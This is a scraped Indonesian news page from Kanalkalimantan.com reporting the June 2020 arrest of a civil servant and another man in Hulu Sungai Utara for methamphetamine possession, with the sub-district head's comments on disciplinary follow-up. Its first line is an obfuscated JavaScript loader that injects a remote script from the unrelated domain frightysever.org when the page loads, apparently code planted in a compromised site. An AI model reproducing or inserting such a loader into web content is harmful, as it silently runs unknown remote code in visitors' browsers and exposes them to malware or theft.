(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Terjawab siapa pria beinisial SA (41) berstatus Aparatur Sipil Negara (ASN) di Kabupaten Hulu Sungai Utara (HSU) yang tertangkap miliki narkotika jenis sabu.
SA belakangan diketahui sebagai salah satu abdi negara yang berkerja di kantor Kecamatan Banjang, Kabupaten HSU.
Sebelumnya Satuan Reserse Narkoba (Sat Resnarkoba) Polres Hulu Sungai Utara (HSU) meringkus dua pria diduga pengedar narkoba jebis sabu di Desa Beringin Kecamatan Banjang, Kabupaten HSU, Sabtu (6/6/2020) sekitar pukul 22.45 Wita.
Penangkapan dua tersangka berinisial SA (41) dan OM (36) tersebut saat anggota Sat Resnarkoba Polres HSU berlangsung di sebuah rumah RT 001 Desa Beringin, Kecamatan Banjang.
Mirisnya, salah satu dari tersangka yakni SA, warga Desa Beringin, diketahui berstatus sebagai ASN. Sementara tersangka OM merupakan pekerja serabutan warga Desa Teluk Sarikat, Kecamantan Banjang. Dalam operasi tersebut didapati barang bukti 2 paket sabu seberat 0.80 gram atau berat bersih 0.44 gram dari tangan tersangka SA. Sementara 7 paket sabu seberat 4.81 gram atau berat bersih 3.58 gram dari tangan tersangka OM.
Kepada Kanalkalimantan.com, Camat Banjang Sarwani mengakui stafnya berinisial SA (41) memang berurusan dengan polisi karena terkait peredaran narkoba. Camat Banjang membenarkan kejadian pengrebekan pada Sabtu (6/6/2020) malam, di kediaman SA di desa Beringin, Kecamantan Banjang, Kabupaten HSU.
“Ya benar, malam Minggu (Sabtu malam) kejadiannya (penangkapan terhadap SA),” ujar Camat Banjang Sarwani, Senin (8/6/2020) petang.
Sarwani mengatakan, pasca kejadian tersebut pihaknya langsung melaporkan kejadian penangkapan SA kepada Bupati. Kemudian baru hari Senin (8/6/2020) laporan secara tertulis kepada Bupati HSU dan juga disampaikan ke Badan Kepegawaian Pendidikan dan Pelatihan (BKPP) Kabupaten HSU untuk ditindaklanjuti.
“Sudah kita laporkan kepada Bupati, tergantung Bupati saja lagi (statusnya) dan kepada Badan Kepegawaian, selanjutnya tergantung Badan Kepegawaian bagaimana mengambil tindakan disiplinnya,” imbuhnya.
Baca juga: Polres HSU Bekuk Dua Pemilik 9 Paket Sabu, Satu Diantaranya Berstatus ASN
Menurut Sarwani, BKPP HSU selanjutnya akan meminta laporan berita acara kepada kepolisian, sehingga dengan itu kemungkinan dapat diambil keputusan terkait pemberhentian sementara kepada yang bersangkutan.
Meski salah satu stafnya tersebut harus berurusan dengan polisi, Sarwani mengaku hal ini tidak mempengaruhi pelayanan di kantor kecamatan dan masih berjalan seperti biasa, karena saat ini staf mencukupi.
Bahkan sejak pertama kali penerapan absensi sidik jari dilakukan kembali pada hari Jumat kemarin, kondisi kantor kecamatan berjalan normal.
Sarwani mengharapkan kejadian ini cukup menjadi pelajaran bagi yang lain dan tidak terulang kembali. “Jangan sampai kejadian ini terulang lagi, cukup itu dijadikan contoh untuk rekan-rekan kita pegawai,” pungkasnya. (kanalkalimantan.com/tim)
KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah, menutup kegiatan Manasik Haji… Read More
KANALKALIMANTAN.COM, PALANGKARAYA – Bakso merupakan kuliner yang sangat populer dan disukai masyarakat Indonesia. Kelezatan olahan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus berupaya mempercepat pencegahan dan penurunan… Read More
This website uses cookies.